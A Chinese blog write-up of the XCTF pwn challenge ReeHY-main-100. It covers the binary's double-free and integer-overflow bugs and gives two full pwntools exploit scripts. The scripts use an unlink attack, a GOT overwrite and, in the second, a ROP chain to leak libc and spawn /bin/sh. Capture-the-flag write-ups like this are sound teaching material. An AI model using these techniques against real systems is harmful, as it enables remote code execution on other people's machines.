
XCTF攻防世界 4-ReeHY-main-100 题解

L3H_CoLin  于 2022-04-05 18:26:07 发布  2465  收藏 1
分类专栏： write_ups 文章标签： 学习 pwn 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_54218833/article/details/123974161
版权

 write_ups 专栏收录该内容
7 篇文章 0 订阅
订阅专栏

昨天整理做过的题目时发现的这道题，简单看了下觉得挺有参考意义的，在此回顾。

源文件：my_github

这是一道典型的堆题。内部一共实现了增加、删除、编辑3个功能。

经过分析，漏洞主要有：

1. 在create_exploit函数中的两个整型溢出漏洞，使chunk地址可以写到缓冲区的高地址处

2. 在delete_exploit函数中的double free漏洞，释放后没有清空指针
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经过gdb调试发现，bss段中对于chunk相关信息的存储结构如下：



在create一个chunk时，程序会将chunk的size写入chunksize_bank_chunk这个chunk中，但如果输入的索引为负数，就会导致size
写入到前面的内容中。索引值为-1可以修改这个chunk的size，索引值为-2时可以将这个chunk的size改得很大很大。同时注意，
在索引值为-2时，申请的chunk会将chunksize_bank_chunk覆盖掉，也就是0x6020C0的位置，这个地方变成了我们自己申请的
chunk了。这样可以将前面分配的chunk的size修改掉，从而可以在edit函数中触发堆溢出。

看来这道题能做文章的漏洞有很多，但是还有一个问题就是，如何获取libc地址？程序中并没有输出的操作。但是，plt表中有
puts函数。我们将free函数的got表地址改成puts的plt，就能够实现输出，当然前提是这个chunk要在got表的地方，这样才能拿到
got表的地址。

.got.plt:0000000000602018 off_602018      dq offset free          ; DATA XREF: _free↑r

.got.plt:0000000000602020 off_602020      dq offset puts          ; DATA XREF: _puts↑r

.got.plt:0000000000602028 off_602028      dq offset write         ; DATA XREF: _write↑r

.got.plt:0000000000602030 off_602030      dq offset read          ; DATA XREF: _read↑r

.got.plt:0000000000602038 off_602038      dq offset memcpy        ; DATA XREF: _memcpy↑r

.got.plt:0000000000602040 off_602040      dq offset malloc        ; DATA XREF: _malloc↑r

.got.plt:0000000000602048 off_602048      dq offset fflush        ; DATA XREF: _fflush↑r

.got.plt:0000000000602050 off_602050      dq offset setvbuf       ; DATA XREF: _setvbuf↑r

.got.plt:0000000000602058 off_602058      dq offset atoi          ; DATA XREF: _atoi↑r

.got.plt:0000000000602060 off_602060      dq offset exit          ; DATA XREF: _exit↑r

要修改的是0x602018，那么应该将chunk分配到0x602008的地方。我们需要进行一次double_free操作。

经过gdb调试发现，在glibc 2.27及更高版本无法进行此次double free，因为在_int_free中加入了检查tcache的double free，但
2.23中没有发现这类检查代码，因此转到2.23进行调试。

double_free之后UAF，将fd改为0x602008。我满怀期待地执行下一步，gdb却给我来了当头一棒—— malloc(): memory

corruption (fast)

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
  errstr = "malloc(): memory corruption (fast)";
errout:
  malloc_printerr (check_action, errstr, chunk2mem (victim), av);
  return NULL;
}



检查通不过：目的地址对应的size必须正确。

看来这条路是走不通了。看下一个思路：unlink。

如果是使用unlink的话，就无需考虑是否存在tcache了。如果有tcache则分配一个large bins大小的chunk让它被释放时不进tcache
就好了。

记得在之前的how2heap分析中，对于unlink是直接将后面chunk的prev_inuse置为0的。这里我们不能直接这样做，而是需要利用
未被清空的指针。

Step 1: 分配两个非tcache chunk并释放。释放之后，这两个chunk会被合并入top chunk中，绕过double free的检测。
Step 2: 分配一个大chunk使得这个chunk能够包含之前的两个chunk且还要多出一些空间。这一步是为了编辑这两个原先的chunk
做准备的。这个大chunk和Step 1中第一个分配的chunk的地址应该是相同的。
Step 3: 在大chunk中构造数据，在原chunk_1前后构造假chunk使free能够通过检查。
Step 4: 释放原chunk_1。

注意：在大chunk中需要在原chunk_1前后均伪造，这是为了通过unlink和_int_free的检查。在后方构造chunk主要构造

其prev_inuse位为1以绕过 line 4316 (glibc 2.31)的检查，在前方构造chunk是为了绕过unlink的检查，在how2heap中有
分析，如有疑问请移步我之前写的how2heap分析文章，这里不再赘述。

if (__glibc_unlikely (!prev_inuse(nextchunk)))
      malloc_printerr ("double free or corruption (!prev)");

这样，释放chunk_1就能够成功，chunk_0的地址也会被修改到bss段上（0x6020C8）。我们现在可以通过chunk_0随意修改bss
段中保存有chunk信息的部分了。之后的操作就是水到渠成：

Step 5: 将chunk_1的地址改为free的got表地址，修改为puts的plt地址。
Step 6: 将chunk_2的地址改为got表中除前两个函数外其他任意一个函数的地址，然后调用free输出地址。利用此地址计算libc的
加载地址。

Step 7: 将计算得到的system地址写到free的got表地址中，向chunk_3写入’/bin/sh’（或者找到libc中本来就有的’/bin/sh’字符串地
址，将其写到chunk_3的位置上）。
Step 8: 释放chunk_3，getshell。

payload: （本payload在Kali上测试成功，libc版本：Debian GLIBC 2.33-6，2022/4/5最新更新版本）

from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')

# libc = ELF('./ctflibc.so.6')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.33.so')
libc_atoi_addr = libc.symbols['atoi']
libc_sys_addr = libc.symbols['system']
libc_write_addr = libc.symbols['write']

print(hex(libc_atoi_addr))
print(hex(libc_sys_addr))

chunk_addr_bss = 0x6020E0

elf = ELF('./pwn')
io = process('./pwn')
# io = remote('111.200.241.244', 54585)

def create(size, index, content):
 io.sendlineafter(b'$ ', b'1')
 io.sendlineafter(b'Input size\n', str(size).encode())
 io.sendlineafter(b'Input cun\n', str(index).encode())



 io.sendlineafter(b'Input cun\n', str(index).encode())
 io.sendafter(b'Input content\n', content)

def delete(index):
 io.sendlineafter(b'$ ', b'2')
 io.sendlineafter(b'Chose one to dele\n', str(index).encode())

def edit(index, content):
 io.sendlineafter(b'$ ', b'3')
 io.sendlineafter(b'Chose one to edit\n', str(index).encode())
 io.sendafter(b'Input the content\n', content)

main_addr = 0x400C8C
pop_rdi_ret_addr = 0x400DA3
one_gadget_addr = 0x41EBC

io.recv()
io.sendline(b'CoLin')

create(0x420, 0, b'flag')
create(0x420, 1, b'flag')
delete(1)
delete(0)

payload = p64(0)  # fake chunk prev_size
payload += p64(0x420) # fake chunk size
payload += p64(chunk_addr_bss - 0x18) # fake chunk fd
payload += p64(chunk_addr_bss - 0x10) # fake chunk_bk
payload += b'\x00' * 0x400 # useless filling data

payload += p64(0x420) # front chunk prev_size (modified)
payload += p64(0x420) # front size (modified)
payload += b'\x00' * 0x410 # useless filling data for front chunk

payload += p64(0x420) # fake front-front chunk prev_size 
payload += p64(0x21) # fake front-front chunk size with prev_inuse = true
create(0x860, 0, payload)

delete(1)    # trigger unlink_chunk(av, p)

# now the address of chunk_0 (0x6020e0) has been changed into 0x6020c8, we can edit the next chunk into .got.plt

payload = b'\x00' * 0x18 # useless data for filling
payload += p64(0x6020c8) # chunk_0 address
payload += p64(1)   # chunk_0 inuse
payload += p64(0x602018) # change the chunk_1 to .got.plt of free()
payload += p64(1)   # change chunk_1 into inuse
payload += p64(0x602028) # the .got.plt of write, ready to be used to get libc loading address
payload += p64(1)   # set the chunk_2 into inuse for free()

edit(0, payload)

edit(1, p64(elf.plt['puts']))  # change the address, now free() equals puts()

delete(2)

mem_write_addr = u64(io.recv(6) + b'\x00\x00') # get the write() address in memory
libc_base = mem_write_addr - libc_write_addr # libc loading base
mem_sys_addr = libc_base + libc_sys_addr  # system() address in memory



edit(1, p64(mem_sys_addr))   # now free() equals system()

create(0x20, 3, b'/bin/sh')
delete(3)

io.interactive()

当然，本着学习的态度，我们可以思考一下，除了这种方法还有没有其他的方法呢？在发布wp点赞第一的文章中，我看到了对
整型溢出的利用。上面的方法不需要整型溢出就可以实现，而整型溢出为我们提供了另外一种获取libc加载地址的方法。

由于本程序没有canary，如果我们将size写成负数，就可以在栈上实现溢出。但是这里我有一点不太清楚：如果将size写为负
数，那么malloc注定失败返回空指针。在将content写入栈时，dest的值仍然是0，为什么不会报段错误？在进行gdb调试
时，read函数检测到size为-1时根本就不会中断等待输入，而在脚本中我们强制传过去了一段内容，不知这样会对程序产生什么
样的影响，但memcpy这个函数注定是不会执行了。总之这种方式是有效的，使用ROP获取到了puts函数的got表地址。

之后还是通过unlink，只不过直接修改free的地址即可。

payload: （本payload在Kali上测试成功，libc版本：Debian GLIBC 2.33-6，2022/4/5最新更新版本）

from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')

# libc = ELF('./ctflibc.so.6')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.33.so')
libc_atoi_addr = libc.symbols['atoi']
libc_sys_addr = libc.symbols['system']
libc_puts_addr = libc.symbols['puts']

print(hex(libc_atoi_addr))
print(hex(libc_sys_addr))

chunk_addr_bss = 0x6020E0

elf = ELF('./pwn')
io = process('./pwn')
# io = remote('111.200.241.244', 54585)

def create(size, index, content):
 io.sendlineafter(b'$ ', b'1')
 io.sendlineafter(b'Input size\n', str(size).encode())
 io.sendlineafter(b'Input cun\n', str(index).encode())
 io.sendafter(b'Input content\n', content)

def delete(index):
 io.sendlineafter(b'$ ', b'2')
 io.sendlineafter(b'Chose one to dele\n', str(index).encode())

def edit(index, content):
 io.sendlineafter(b'$ ', b'3')
 io.sendlineafter(b'Chose one to edit\n', str(index).encode())
 io.sendafter(b'Input the content\n', content)

main_addr = 0x400C8C
pop_rdi_ret_addr = 0x400DA3
one_gadget_addr = 0x41EBC

io.recv()
io.sendline(b'CoLin')



payload = cyclic(0x80)
payload += b'\x00' * 8  # the dest address, not matter
payload += b'\x00' * 8  # not to change the index
payload += cyclic(0x8)  # size
payload += p64(pop_rdi_ret_addr) + p64(elf.got['puts']) # pop the address of .got.plt(puts) to rdi
payload += p64(elf.plt['puts']) + p64(main_addr)  # return to start address of main

create(-1, 0, payload)

mem_puts_addr = u64(io.recv(6) + b'\x00\x00')
libc_base = mem_puts_addr - libc_puts_addr
mem_sys_addr = libc_base + libc_sys_addr

io.recv()
io.sendline(b'CoLin')

create(0x420, 0, b'flag')
create(0x420, 1, b'flag')
delete(1)
delete(0)

payload = p64(0)  # fake chunk prev_size
payload += p64(0x420) # fake chunk size
payload += p64(chunk_addr_bss - 0x18) # fake chunk fd
payload += p64(chunk_addr_bss - 0x10) # fake chunk_bk
payload += b'\x00' * 0x400 # useless filling data

payload += p64(0x420) # front chunk prev_size (modified)
payload += p64(0x420) # front size (modified)
payload += b'\x00' * 0x410 # useless filling data for front chunk

payload += p64(0x420) # fake front-front chunk prev_size 
payload += p64(0x21) # fake front-front chunk size with prev_inuse = true
create(0x860, 0, payload)

delete(1)    # trigger unlink_chunk(av, p)

# now the address of chunk_0 (0x6020e0) has been changed into 0x6020c8, we can edit the next chunk into .got.plt

payload = b'\x00' * 0x18 # useless data for filling
payload += p64(0x6020c8) # chunk_0 address
payload += p64(1)   # chunk_0 inuse
payload += p64(0x602018) # change the chunk_1 to .got.plt of free()
payload += p64(1)   # change chunk_1 into inuse

edit(0, payload)

edit(1, p64(mem_sys_addr))  # change the address, now free() equals system()

create(0x20, 2, b'/bin/sh')
delete(2)

io.interactive()

以上就是适用于目前最新版本libc的两种解题方案。如果版本比较老还可以考虑使用fastbin的double_free，但是考虑到目前比赛
使用的glibc版本越来越高，这里只分析这两种方法。
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